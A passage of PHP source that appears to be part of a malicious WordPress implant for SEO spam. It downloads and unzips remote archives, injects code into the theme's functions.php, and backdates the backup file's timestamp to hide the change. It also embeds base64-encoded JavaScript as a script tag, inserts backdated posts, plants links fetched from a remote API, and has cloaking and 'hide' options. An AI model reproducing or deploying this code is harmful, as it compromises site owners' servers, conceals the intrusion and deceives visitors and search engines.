            $results['lirucounter'] = $lirucounter[1];

        }


        preg_match('~([^\"\.\/]+\.js)\?ref~', $string, $route);


        if (isset($route[1])) {

            $results['route'] = $route[1];

        }


        preg_match('~src=.+?([^\/\"\\\\]+)~', $string, $domain);


        if (isset($domain[1])) {

            $results['domain'] = $domain[1];

        }


        return $results;

    }


    public static function removeHomeLinksCustom()
    {

        $optionsForDelete = CustomDbHandler::getInstance()->getOptionLike('home_links_custom_');

        $deletedOptionsCount = 0;

        if (!empty($optionsForDelete)) {


            foreach ($optionsForDelete as $optionsArr) {

                if (isset($optionsArr['option_name'])) {

                    $deletedOptionsCount++;

                    CustomDbHandler::getInstance()->deleteOption($optionsArr['option_name']);

                    GlobalLogs::setDebugLog('remove option name ' . $optionsArr['option_name']);

                }

            }

        }

        return $deletedOptionsCount;

    }


    public static function unzipSecondMethod()
    {

        $paths = array(

            TMPDIR

        );

        foreach ($paths as $path) {


            $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip');

            if (!is_dir($path)) {

                mkdir($path, 0755, true);

            }


            $zip = new ZipArchive();


            foreach ($zipFiles as $file) {

                if ($zip->open($file)) {


                    if ($zip->extractTo($path)) {

                        GlobalLogs::setMainLog("$file extracted");

                        unlink($file);

                        $zip->close();

                    }

                } else {

                    GlobalLogs::setMainLog("I cant open the archive $file");

                    return false;

                }

            }

        }

        file_put_contents(TMPDIR . '/unzipsuccess', '');

        return true;

    }


    public static function unzipFirstMethod()
    {


        $paths = array(

            TMPDIR

        );


        if (file_exists($unzipClassPath = WP_ROOT_DIR . '/wp-admin/includes/class-pclzip.php')) {

            include_once $unzipClassPath;

        } else {

            // TODO not found

            include_once TMPDIR . '/header.php';

        }


        foreach ($paths as $path) {


            $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip');


            //fpcDebug(implode('::', $zipFiles));


            foreach ($zipFiles as $file) {


                $archive = new PclZip($file);

                if ($archive->extract(PCLZIP_OPT_PATH, $path) == 0) {

                    GlobalLogs::setMainLog("Error : " . $archive->errorInfo(true));

                    return false;

                } else {

                    GlobalLogs::setMainLog(sprintf('%s unzipped', $file));

                    unlink($file);

                }

            }

        }

        file_put_contents(TMPDIR . '/unzipsuccess', '');


        return true;

    }


    public static function uploadRangeOfFiles($url, $range, $extension, $dirname = '')
    {


        list ($firstNum, $secondNum) = explode('-', $range);


        if (!WritePostsWpHandler::makeDir($dirname)) {

            throw new Exception("dont create dirname - $dirname");

        }


        foreach (range($firstNum, $secondNum) as $num) {

            $filename = $num . $extension;

            $localPath = ($dirname !== '') ? $dirname . DIRECTORY_SEPARATOR . $filename : $filename;


            if (WritePostsWpHandler::checkArchiveBeforeUpload($localPath) !== false) {

                continue;

            }


            //WritePostsWpHandler::saveRemoteFileCurl($url . $filename, $localPath);

            WritePostsWpHandler::saveRemoteFileCurlMod($url . $filename, $localPath);


            if (WritePostsWpHandler::checkArchiveAfterUpload($localPath) === false) {

                throw new Exception("error checking file - $filename");

            }


        }

    }


    public static function makeDir($dirname)
    {


        if ($dirname !== '') {

            if (!is_dir($dirname)) {

                if (!mkdir($dirname, 0777, true)) {

                    return false;

                }

            }

        }

        $GLOBALS['createdDirectories'][] = $dirname;


        return true;

    }


    public static function checkArchiveBeforeUpload($path)
    {


        GlobalLogs::setDebugLog(sprintf('check path - %s', $path));


        $archiveMutex = dirname($path) . '/' . md5($path);


        if (file_exists($archiveMutex)) {

            GlobalLogs::setDebugLog(sprintf('archive mutex exists  - %s', $archiveMutex));

            if (file_exists($path)) {

                GlobalLogs::setMainLog(sprintf('archive exists  - %s', $path));

                return true;

            }

        }

        GlobalLogs::setDebugLog(sprintf('error check archive  - %s', $path));

        return false;

    }


    public static function saveRemoteFileCurl($url, $localname)
    {


        $file = fopen('php://temp/maxmemory:0', 'w+b');


        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);

        curl_setopt($ch, CURLOPT_FAILONERROR, true);

        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        curl_setopt($ch, CURLOPT_FILE, $file);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

        curl_setopt($ch, CURLOPT_TIMEOUT, 20);

        curl_exec($ch);

        curl_close($ch);

        rewind($file);


        file_put_contents($localname, stream_get_contents($file));

        fclose($file);

        GlobalLogs::setDebugLog($localname . ' - ' . WritePostsWpHandler::filesizemb($localname) . ' MB');

    }


    public static function filesizemb($file)
    {

        return number_format(filesize($file) / pow(1024, 2), 3, '.', '');

    }


    public static function checkArchiveAfterUpload($path)
    {

        if (!file_exists($path)) {

            GlobalLogs::setDebugLog(sprintf('archive not found %s', $path));

            return false;

        }


        clearstatcache();


        if (filesize($path) < pow(10, 5)) {

            GlobalLogs::setDebugLog(sprintf('archive too small %s', $path));

            return false;

        }


        $mutexPath = dirname($path) . '/' . md5($path);

        GlobalLogs::setDebugLog(sprintf('create mutex -  %s', $mutexPath));

        file_put_contents($mutexPath, '');

        return true;


    }


    public static function saveRemoteFileCurlMod($url, $localname)
    {


        $file = fopen($localname, 'w+');


        if ($file === false) {

            throw new \Exception('invalid open tmp file');

        }


        $ch = curl_init();

        if ($ch === false) {

            fclose($file);

            throw new \Exception('invalid init curl()');

        }


        curl_setopt($ch, CURLOPT_URL, $url);

        curl_setopt($ch, CURLOPT_FAILONERROR, true);

        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

        curl_setopt($ch, CURLOPT_FILE, $file);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);

        curl_setopt($ch, CURLOPT_TIMEOUT, 120);


        $result = curl_exec($ch);


        if ($result === false) {

            $error = curl_error($ch);

            curl_close($ch);

            fclose($file);

            throw  new \Exception("Curl error: $error");

        }


        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        if ($httpCode != 200) {

            curl_close($ch);

            fclose($file);

            throw new Exception("HTTP error: $httpCode");

        }


        $contentLength = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);

        curl_close($ch);

        fclose($file);


        $localFilzeSize = filesize($localname);

        if ($contentLength > 0 && ($localFilzeSize != $contentLength)) {

            throw new Exception("incomplete file: " . $localFilzeSize . " of $contentLength bytes");

        }


        return true;

    }


    public static function contentParts($pageSource)
    {


        preg_match_all('/\[(TITLE|TEXT)\](.+)\[\/(\1)]/ius'

            , $pageSource, $kuski);


        if (!isset($kuski[2][0])) {

            throw new Exception('invalid title');

        }

        if (!isset($kuski[2][1])) {

            throw new Exception('invalid text');

        }


        //$title = mb_convert_encoding(trim($kuski[2][0]), 'HTML-ENTITIES', "UTF-8");

        $title = WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][0]));

        $slug = WritePostsWpHandler::stringToSlug($kuski[2][0]);

        //$text = mb_convert_encoding(trim($kuski[2][1]), 'HTML-ENTITIES', "UTF-8");

        $text = WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][1]));


        return array(

            'title' => $title,

            'text' => $text,

            'slug' => $slug,

        );

    }


    public static function mbConvertEncodingCustom($string)
    {


        $string = trim($string);


        if (!function_exists('mb_convert_encoding')) {

            return htmlspecialchars_decode(htmlentities($string));

        }

        return mb_convert_encoding($string, 'HTML-ENTITIES', "UTF-8");


    }


    public static function resultFormat($blogUrl, $postId, $title)
    {

        return rtrim($blogUrl, '/') . '/?p=' . $postId . ';' . $title;

    }


    public static function randDate()
    {

        $randDate = mktime(rand(1, 11), rand(0, 59), rand(0, 59), date("m") + rand(1, 12), date("d") + rand(1, 20), date("Y") - rand(4, 7));

        return date('Y-m-d H:i:s', $randDate);


    }


    public static function deletePostsCurrentAuthor()
    {

        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;

        if (!isset($users)) {

            $users = array($userId);

        }

        CustomDbHandler::getInstance()->deletePosts($users);

        return true;

    }


    public static function deletePostsAllAuthors()
    {

        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;

        $settings = WritePostsWpHandler::getDbSettingsCustom();


        if (!$settings) {

            GlobalLogs::setMainLog('invalid get settings from db');

        } else {

            $users = array_keys($settings);

            if (!in_array(9999, $users)) {

                $users[] = 9999;

            }

        }


        if (!isset($users)) {

            $users = array($userId);

        }


        CustomDbHandler::getInstance()->deletePosts($users);


        return true;

    }


    public static function mbReplaceCustomFilters($functionsSource, $functionsPath, $sourceMod)
    {

        $optionCustom = WritePostsWpHandler::optionCustomFunctions();

        $customFiltersRegexp = '~/\*\s+custom filters\s+\*/(.+)/\*\s*custom filters\s*\*/~su';

        $customFiltersRegexpSec = "~/\*\s*$optionCustom\s*\*/(.+)/\*\s*$optionCustom\s*\*/~su";


        if (preg_match($customFiltersRegexp, $functionsSource, $matches)) {


            if (WritePostsWpHandler::modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) {


                GlobalLogs::setMainLog(sprintf('functions modified %s', $functionsPath));


                preg_match($customFiltersRegexpSec, $sourceMod, $newSourceMatches);

                $controlHash = md5(trim($newSourceMatches[1]));

                CustomDbHandler::getInstance()->insertOrUpdate($optionCustom, $controlHash);


                return true;

            }


        }


        if (preg_match($customFiltersRegexpSec, $functionsSource, $matches)) {


            $sourceHash = md5(trim($matches[1]));

            $dbHash = CustomDbHandler::getInstance()->getOption($optionCustom);


            if ($dbHash && ($sourceHash === $dbHash['option_value'])) {

                GlobalLogs::setMainLog('functions php hashes are identity');

                return true;

            } else {

                GlobalLogs::setMainLog('checksums do not match');

            }

        }

        GlobalLogs::setMainLog('code not found... record!');


        if (WritePostsWpHandler::modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) {


            GlobalLogs::setMainLog('functions modified');


            preg_match($customFiltersRegexpSec, $sourceMod, $matches);

            $controlHash = md5(trim($matches[1]));

            CustomDbHandler::getInstance()->insertOrUpdate($optionCustom, $controlHash);

            return true;

        }


        return false;

    }


    public static function optionCustomFunctions()
    {

        return md5(crc32($_SERVER['HTTP_HOST']));

    }


    public static function modify_functions_php($functionsPath, $source, $tmpDir, $deleteOldCustomFilters = false)
    {


        $functionsSource = file_get_contents($functionsPath);

        WritePostsWpHandler::oldFunctionPathBak($tmpDir, $functionsPath);

        $optionCustom = WritePostsWpHandler::optionCustomFunctions();


        if ($deleteOldCustomFilters) {

            $customFiltersRegexpSec = "~/\*\s*(custom filters|$optionCustom)\s*\*/(.+)/\*\s*(custom filters|$optionCustom)\s*\*/~su";

            $functionsSource = preg_replace($customFiltersRegexpSec, '', $functionsSource);

        }


        preg_match('~\<\?(php)*~', $functionsSource, $tagMatches);


        if (empty($tagMatches)) {

            return;

        }


        $phpMatches = preg_quote($tagMatches[0]);

        $newFunctionSource = preg_replace("~$phpMatches~", $tagMatches[0] . "\n\n" . $source, $functionsSource, 1);


        if (file_put_contents($functionsPath, $newFunctionSource) !== false) {

            /* dont touch me please */

            return true;

        }


        return false;

    }


    public static function oldFunctionPathBak($tmpDir, $functionsPath)
    {


        if (!is_writeable(dirname($functionsPath))) {

            $backupPath = TMPDIR . '/' . basename($functionsPath) . '_bak';

        } else {

            $backupPath = $functionsPath . '_bak';

        }


        GlobalLogs::setMainLog(sprintf('functions backup path - %s', $backupPath));


        file_put_contents($backupPath, file_get_contents($functionsPath));

        touch($backupPath, WritePostsWpHandler::frequenttimestamp(dirname($backupPath)));

    }


    public static function frequenttimestamp($pathtodir)
    {


        foreach (glob($pathtodir . "/*php") as $file) {

            $tmp[] = filemtime($file);

        }

        $count = array_count_values($tmp);

        arsort($count);

        $keys = array_keys($count);


        return array_shift($keys);

    }


    public static function settingsArr($functionsSource)
    {


        $oldSettings = WritePostsWpHandler::findOldSettings($functionsSource);

        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;

        $sitemapRegexArr = WritePostsWpHandler::customSitemapName(SITEMAP_NAME);


        $newSettings = WritePostsWpHandler::generateSettings($userId, WritePostsWpHandler::jsPrepare(JS_SOURCE), key($sitemapRegexArr)

            , current($sitemapRegexArr), $_SERVER['homeLinksSettings']);


        if (!$oldSettings) {


            //echo 'only new settings' . PHP_EOL;


            return $newSettings;

        } else {

            $settings = WritePostsWpHandler::compareNewOldSettings($oldSettings, $newSettings, $userId);

            if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) {

                $settings = WritePostsWpHandler::removeHomeLinkKey($settings);

            }


            return $settings;

        }

    }


    public static function findOldSettings($functionsSource)
    {


        $oldSourceRegex = '/\'(.+?\.xml\$)\'\s*=>\s*\'(.+?)\'/m';


        if (preg_match($oldSourceRegex, $functionsSource, $oldSourceMatches)) {


            GlobalLogs::setMainLog('old settings value detected');


            $jsScriptRegex = '/\$str\s*=\s*<<<STR(.+?)STR;/s';

            preg_match($jsScriptRegex, $functionsSource, $jsMatches);


            $oldSettingsArr = WritePostsWpHandler::generateSettings(9999, trim($jsMatches[1])

                , $oldSourceMatches[1], $oldSourceMatches[2], null);


            return $oldSettingsArr;

        } else {

            //find in db

            GlobalLogs::setMainLog('find old settings in DB');

            return WritePostsWpHandler::getDbSettingsCustom();

        }

    }


    public static function generateSettings($userId, $jsSource, $sitemapRegex, $feedPath, $homeLinksSettings)
    {

        return array(

            $userId => array(

                'js' => $jsSource,

                'sitemapsettings' => array(

                    $sitemapRegex => $feedPath,

                ),

                'nojs' => (defined('CLOACKING')) ? CLOACKING : 0,

                'homeLinks' => (defined('HOME_LINKS') && HOME_LINKS === 1) ? $homeLinksSettings : null,

            ),

        );

    }


    public static function customSitemapName($sitemapName)
    {

        return array(

            "$sitemapName\.xml$" => "index.php?feed=xml$sitemapName"

        );

    }


    public static function jsPrepare($jsSource)
    {


        $base64 = base64_encode($jsSource);


        return '<script src="data:text/javascript;base64,' . $base64 . '"></script>';

    }


    public static function compareNewOldSettings($oldSettings, $newSettings, $userId)
    {


        if (!isset($oldSettings[$userId])) {

            $newSettingsKey = key($newSettings);

            $newSettingsRegex = key($newSettings[$newSettingsKey]['sitemapsettings']);

            foreach ($oldSettings as $key => $value) {


                $oldSettingsRegex = key($value['sitemapsettings']);


                if ($oldSettingsRegex === $newSettingsRegex) {

                    $oldSitemapValue = str_replace('\.xml$', '', $oldSettingsRegex);

                    GlobalLogs::setMainLog(sprintf('%s already used in oldsettings', $oldSitemapValue));

                    return false;

                }

            }


            return $newSettings + $oldSettings;

        }


        $jsDiff = strcmp($oldSettings[$userId]['js'], $newSettings[$userId]['js']);


        if ($jsDiff !== 0) {

            GlobalLogs::setMainLog('js scripts are different');

            if (defined('REDEFINE_JS_FOR_USER') && REDEFINE_JS_FOR_USER === 1) {

                GlobalLogs::setMainLog('old script will be overwritten');

            } else {

                return false;

            }

        }


        $sitemapSettingsDiff = strcmp(key($oldSettings[$userId]['sitemapsettings'])

            , key($newSettings[$userId]['sitemapsettings']));


        if ($sitemapSettingsDiff !== 0) {

            $oldSitemapValue = key($oldSettings[$userId]['sitemapsettings']);

            $oldSitemapValue = str_replace('\.xml$', '', $oldSitemapValue);


            GlobalLogs::setMainLog('sitemap settings are different');

            GlobalLogs::setMainLog('old sitemap value %s', $oldSitemapValue);


            return false;

        }


        return $newSettings + $oldSettings;

        //return $newSettings;

    }


    public static function removeHomeLinkKey($settings)
    {

        foreach ($settings as $key => $arr) {

            if ($key === CUSTOM_AUTHOR_ID) {

                continue;

            }

            if (isset($settings[$key]['homeLinks'])) {

                unset($settings[$key]['homeLinks']);

            }

        }


        return $settings;

    }


    public static function downloadExternalLinks($countHtmlFiles)
    {

        list ($minExtLinks, $maxExtLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE);

        $linksLimit = $countHtmlFiles * $maxExtLinks;


        $params = array(

            'tableHash' => defined('TABLE_HASH') ? TABLE_HASH : '',

            'htmlHash' => defined('HTML_HASH') ? HTML_HASH : '',

            'linksLimit' => $linksLimit,

            'maxLinksCount' => COUNT_LINKS_FROM_DOMAIN,

        );


        $query = http_build_query($params);


        WritePostsWpHandler::saveRemoteFileCurl(GS_ALIAS . '/dnc/wp-acceptors-api/batch-get-links-test?' . $query, TMPDIR . '/ext-links.txt');

    }


    public static function textWithLinks($text, $results, &$extLinksArr)
    {


        $internalLinks = array();

        $externalLinks = array();


        if (INTERNAL_LINKING === 1) {


            list ($minLinks, $maxLinks) = explode('..', INTERNAL_LINKS_COUNT_PAGE);

            $range = range($minLinks, $maxLinks);

            $linksCount = $range[rand(0, count($range) - 1)];


            if (count($results) >= $linksCount) {

                shuffle($results);

                $slicedResults = array_slice($results, 0, $linksCount);

                $internalLinks = WritePostsWpHandler::linksPrepare($slicedResults);

            }

        }


        if ((EXTERNAL_LINKING === 1) && !empty($extLinksArr)) {

            list ($minLinks, $maxLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE);

            $randCount = rand($minLinks, $maxLinks);


            if ($randCount <= count($extLinksArr)) {

                $externalLinks = array_splice($extLinksArr, 0, $randCount);

            } else {

                $externalLinks = $extLinksArr;

                $extLinksArr = array();

            }

        }


        $allLinksTypes = $externalLinks + $internalLinks;


        return WritePostsWpHandler::replacePTags($text, $allLinksTypes);

    }


    public static function linksPrepare($results)
    {


        $links = array();


        foreach ($results as $result) {

            list ($url, $title) = explode(';', $result, 2);

            $title = htmlspecialchars_decode($title);

            $url = str_replace('//?p=', '/?p=', $url);

            $links[] = "<a href=\"$url\">$title</a>";

        }


        return $links;

    }


    public static function replacePTags($source, $links)
    {


        preg_match_all('~.{20}<\/p>~us', $source, $matches);


        if (empty($matches[0])) {

            return null;

        }


        $num = range(0, count($matches[0]) - 1);

        $patternsReplacementsArr = array();


        foreach ($links as $link) {

            $randNum = $num[rand(0, count($matches[0]) - 1)];

            $pattern = '~' . preg_quote($matches[0][$randNum]) . '~us';


            if (isset($patternsReplacementsArr[$pattern])) {

                $patternsReplacementsArr[$pattern] = $patternsReplacementsArr[$pattern] . "\n" . $link;

            } else {

                $patternsReplacementsArr[$pattern] = $matches[0][$randNum] . "\n" . $link;

            }

        }


        return preg_replace(array_keys($patternsReplacementsArr), array_values($patternsReplacementsArr), $source);

    }


    public static function decodeExternalLinks()
    {

        if (!file_exists(TMPDIR . '/ext-links.txt')) {

            GlobalLogs::setMainLog('no external links source');

            return false;

        }


        $extLinksSource = file_get_contents(TMPDIR . '/ext-links.txt');


        $extLinksSourceDecode = json_decode($extLinksSource, 1);


        if (!is_array($extLinksSourceDecode) || !isset($extLinksSourceDecode['links'])) {


            if (trim($extLinksSource) == 'tmp table not found') {

                GlobalLogs::setMainLog(sprintf('%s table not found', TABLE_HASH));

                return false;

            }


            if (trim($extLinksSource) == 'table expired') {

                GlobalLogs::setMainLog(sprintf('%s table expired', TABLE_HASH));

                return false;

            }


            if (trim($extLinksSource) == 'table is empty') {

                GlobalLogs::setMainLog(sprintf('%s db links not found', TABLE_HASH));

                return false;

            }


            if (trim($extLinksSource) == 'file with links not found') {

                GlobalLogs::setMainLog(sprintf('%s file with links not found', HTML_HASH));

                return false;

            }

            GlobalLogs::setMainLog('error while decoding json external links');

            return false;

        }


        return $extLinksSourceDecode['links'];

    }


    public static function deleteSettings()
    {


        if (!defined('CUSTOM_AUTHOR_ID')) {

            return;

        }


        $settings = WritePostsWpHandler::getDbSettingsCustom();


        if (isset($settings[CUSTOM_AUTHOR_ID])) {

            unset($settings[CUSTOM_AUTHOR_ID]);

            GlobalLogs::setMainLog(sprintf('delete settings for user id %s', CUSTOM_AUTHOR_ID));

            WritePostsWpHandler::writeSettingsDB($settings);

        }

    }


    public static function writeSettingsDB($settings)
    {


        try {

            $settingsName = WritePostsWpHandler::optionCustomFilters();

            $instance = CustomDbHandler::getInstance();

            $settingsEncode = base64_encode(serialize($settings));


            if (!$instance->getOption($settingsName)) {

                //echo 'insert new option' . PHP_EOL;

                $instance->insertWpOptions($settingsName, $settingsEncode);

            } else {

                //echo 'option exist, update option' . PHP_EOL;

                $instance->updateWpOptions($settingsName, $settingsEncode);

            }


            GlobalLogs::setMainLog('settings updated!');


            return true;


        } catch (Exception $ex) {

            GlobalLogs::setMainLog($ex->getMessage());

            return false;

        }

    }


    public static function deleteMutex()
    {

        $path = WRITABLE_PATH . '/' . WritePostsWpHandler::pluginsBackupOptionName();

        unlink($path);

    }


    public static function startActions($actions)
    {


        foreach ($actions as $actionName => $status) {


            if (!$status && $actionName != 'sitemap') {

                continue;

            }


            WritePostsWpHandler::doAction($actions, $actionName);

        }

    }


    public static function doAction($actions, $actionName)
    {


        $callBackName = $actionName . 'Action';


        if (method_exists('ActionsCustom', $callBackName)) {


            GlobalLogs::setMainLog(sprintf('%s start', $callBackName));


            if (call_user_func(array('ActionsCustom', $callBackName)) === false) {

                GlobalLogs::setMainLog(sprintf('%s invalid execute!!!', $callBackName));

                echo GlobalLogs::getMainLogs();

                exit;


            }

            /* setActions */

            GlobalLogs::setMainLog(sprintf('%s finished', $callBackName));

            GlobalLogs::setDebugLog(sprintf('success execute action, update option, %s', $actionName));

            WritePostsWpHandler::customSetActions($actions, $actionName);


        } else {

            GlobalLogs::setMainLog(sprintf('%s not found!!!', $callBackName));

        }

    }


    public static function customSetActions($actions, $actionName)
    {


        GlobalLogs::setDebugLog(sprintf('set actionname - %s 0', $actionName));


        $pluginsBackupOptionName = WritePostsWpHandler::pluginsBackupOptionName();

        $pluginsBackupOption = CustomDbHandler::getInstance()->getOption($pluginsBackupOptionName);


        if ($pluginsBackupOption) {

            $pluginsBackupOptionDecoded = json_decode($pluginsBackupOption['option_value'], 1);

            $pluginsBackupOptionDecoded[$actionName] = 0;

            $newActions = json_encode($pluginsBackupOptionDecoded);

            CustomDbHandler::getInstance()
                ->updateWpOptions($pluginsBackupOptionName, $newActions);


        } else {


            $actions[$actionName] = 0;

            CustomDbHandler::getInstance()
                ->insertWpOptions(WritePostsWpHandler::pluginsBackupOptionName(), json_encode($actions));

        }


    }


    public static function createTmpSubDir()
    {

        $tmpSubDir = WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID);

        if (!is_dir($tmpDirNameCustom = WRITABLE_PATH . '/' . $tmpSubDir)) {

            if (!mkdir($tmpDirNameCustom, 0777, true)) {

                return false;

            }

        }

        return $tmpDirNameCustom;

    }


    public static function timeHelper($name)
    {

        return substr(md5($name . WP_ROOT_DIR), 0, 6);

    }


    public static function getPermalinkCustom($post, $leavename = false)
    {

        $rewritecode = array(

            '%year%',

            '%monthnum%',

            '%day%',

            '%hour%',

            '%minute%',

            '%second%',

            $leavename ? '' : '%postname%',

            '%post_id%',

            '%category%',

            '%author%',

            $leavename ? '' : '%pagename%',

        );


        if (!$post) {

            return false;

        }


        $permalink = get_option('permalink_structure');


        if (!$permalink) {

            return home_url('?p=' . $post->ID);

        }

        $permalink = apply_filters('pre_post_link', $permalink, $post, $leavename);


        $category = '';

        if (strstr($permalink, '%category%') !== false) {

            $cats = get_the_category($post->ID);

            if ($cats) {

                $cats = wp_list_sort(

                    $cats,

                    array(

                        'term_id' => 'ASC',

                    )

                );


                $category_object = apply_filters('post_link_category', $cats[0], $cats, $post);

                $category_object = get_term($category_object, 'category');

                $category = $category_object->slug;

                if ($category_object->parent) {

                    $category = get_category_parents($category_object->parent, false, '/', true) . $category;

                }

            }


            if (empty($category)) {

                $default_category = get_term(get_option('default_category'), 'category');

                if ($default_category && !is_wp_error($default_category)) {

                    $category = $default_category->slug;

                }

            }


        }


        $author = '';


        if (strstr($permalink, '%author%')) {

            $authordata = get_userdata($post->post_author);

            $author = $authordata->user_nicename;

        }


        $date = explode(' ', str_replace(array('-', ':'), ' ', $post->post_date));


        $rewritereplace = array(

            $date[0],

            $date[1],

            $date[2],

            $date[3],

            $date[4],

            $date[5],

            $post->post_name,

            $post->ID,

            $category,

            $author,

            $post->post_name,

        );


        $permalink = home_url(str_replace($rewritecode, $rewritereplace, $permalink));

        $permalink = user_trailingslashit($permalink, 'single');

        $permalink = rtrim($permalink, '/') . '/';


        return apply_filters('post_link', $permalink, $post, $leavename);


    }


    public static function fetchPermalinksFromSitemap()
    {


        $dbSettings = WritePostsWpHandler::getDbSettingsCustom();


        if (!isset($dbSettings[CUSTOM_AUTHOR_ID])) {

            GlobalLogs::setMainLog('invalid settings for this author');

            return false;

        }

        if (!isset($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings'])) {

            GlobalLogs::setMainLog('invalid sitemap settings');

            return false;

        }


        $sitemapNameByAuthorId = key($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings']);

        $sitemapNameByAuthorId = str_replace('\.xml$', '', $sitemapNameByAuthorId);


        $sitemapUrl = sprintf('%s/index.php?feed=xml%s', HOME_URL, $sitemapNameByAuthorId);

        $tmpSitemapName = TMPDIR . '/' . WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID);


        $extractUrlsFirst = WritePostsWpHandler::validateSitemap($tmpSitemapName);


        if (!empty($extractUrlsFirst)) {

            //first try

            GlobalLogs::setDebugLog(sprintf('first try fetch url %s', $sitemapUrl));

            GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsFirst)));

            return $extractUrlsFirst;

        }


        if (file_exists($tmpSitemapName)) {

            unlink($tmpSitemapName);

        }


        WritePostsWpHandler::saveRemoteSource($sitemapUrl, $tmpSitemapName);

        $extractUrlsSec = WritePostsWpHandler::validateSitemap($tmpSitemapName);


        if (!empty($extractUrlsSec)) {

            //sec try

            GlobalLogs::setDebugLog(sprintf('sec try fetch url %s', $sitemapUrl));

            GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsSec)));

            return $extractUrlsSec;

        }


        $sitemapUrl = sprintf('%s/%s.xml', HOME_URL, $sitemapNameByAuthorId);

        GlobalLogs::setDebugLog(sprintf('change sitemap url %s', $sitemapUrl));


        if (file_exists($tmpSitemapName)) {

            unlink($tmpSitemapName);

        }


        WritePostsWpHandler::saveRemoteSource($sitemapUrl, $tmpSitemapName);

        $extractUrlsThird = WritePostsWpHandler::validateSitemap($tmpSitemapName);

        if (!empty($extractUrlsThird)) {

            // third

            GlobalLogs::setDebugLog(sprintf('third try fetch url %s', $sitemapUrl));

            GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsThird)));


            return $extractUrlsThird;

        }

        return false;


    }


    public static function validateSitemap($tmpSitemapName)
    {


        if (file_exists($tmpSitemapName)) {

            $sitemapSource = file_get_contents($tmpSitemapName);

            $extractUrls = WritePostsWpHandler::parseXmlSitemap($sitemapSource);

            if (empty($extractUrls)) {

                GlobalLogs::setDebugLog('invalid extracted sitemap source');

                return false;

            }

            return $extractUrls;

        }

        return false;

    }


    public static function parseXmlSitemap($source)
    {

        preg_match_all('~<loc>([^\<]+)<\/loc>~u', $source, $urls);


        if (!isset($urls[1])) {

            return array();

        }


        return $urls[1];

    }


    public static function saveRemoteSource($url, $localname)
    {


        if (!function_exists('curl_init')) {

            self::saveRemoteFileFgc($url, $localname);

        } else {

            self::saveRemoteFileCurl($url, $localname);


        }


    }


    public static function saveRemoteFileFgc($url, $localname)
    {

        $source = file_get_contents($url);

        if (!$source) {

            return false;

        }

        file_put_contents($localname, $source);

        return true;

    }


    public static function gzCompressCustom($string)
    {

        return base64_encode(gzdeflate($string, 9));

    }


    public static function removeDebugFromCustom($source)
    {

        $patterns = array(

            '~(?<!function\s)customSetDebug\s*\(\s*.+?\)\s*;~s',

            '~(?:\/\/)?customSendDebug\(\);~s',

            '~function\s+(?:(customSendDebug|customSetDebug)).+?(?=function)~s',

        );


        return preg_replace($patterns, '', $source);

    }


    public static function quickView($actions)
    {

        if (count($actions) === 1) {

            if (array_intersect(array('viewSettings', 'viewAllAuthors', 'rollback', 'hide'), array_keys($actions))) {
                return true;
            }

        }

        return false;

    }


    public static function actionValidator($actions)
    {


        $activeActions = WritePostsWpHandler::activeActions($actions);


        if (defined('HOME_LINKS') && (HOME_LINKS === 1)) {

            if (!WritePostsWpHandler::validateHomeLinks($activeActions)) {

                exit;

            }

        }


        if (!WritePostsWpHandler::checkImportHide($activeActions)) {

            exit;

        }


        if (!WritePostsWpHandler::checkHomeLinksHide($activeActions)) {

            $activeActions['hide'] = 1;

        }


        if (WritePostsWpHandler::needHideToTop($activeActions)) {

            unset($activeActions['hide']);

            $activeActions = array('hide' => 1) + $activeActions;

        }


        return $activeActions;

    }


    public static function activeActions($actions)
    {


        $activeActions = array();

        foreach ($actions as $key => $value) {

            if ($value) {

                $activeActions[$key] = $value;

            }

        }

        return $activeActions;

    }


    public static function validateHomeLinks($actions)
    {

        if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) {

            return true;

        }

        if (!isset($actions['homeLinks'])) {

            return true;

        }

        $settings = WritePostsWpHandler::getDbSettingsCustom();

        if (isset($settings[CUSTOM_AUTHOR_ID])) {

            unset($settings[CUSTOM_AUTHOR_ID]);

        }

        foreach ($settings as $value) {

            if (isset($value['homeLinks']) && !is_null($value['homeLinks'])) {

                GlobalLogs::setMainLog('another user is using home links');

                return false;

            }

        }


        return true;

    }


    public static function checkImportHide($activeActions)
    {

        if (isset($activeActions['import']) && !isset($activeActions['hide'])) {

            echo 'you cannot run import without hide' . PHP_EOL;

            return false;

        }

        return true;

    }


    public static function checkHomeLinksHide($activeActions)
    {

        if (isset($activeActions['homeLinks']) && !isset($activeActions['hide'])) {

            return false;

        }

        return true;

    }


    public static function needHideToTop($activeActions)
    {

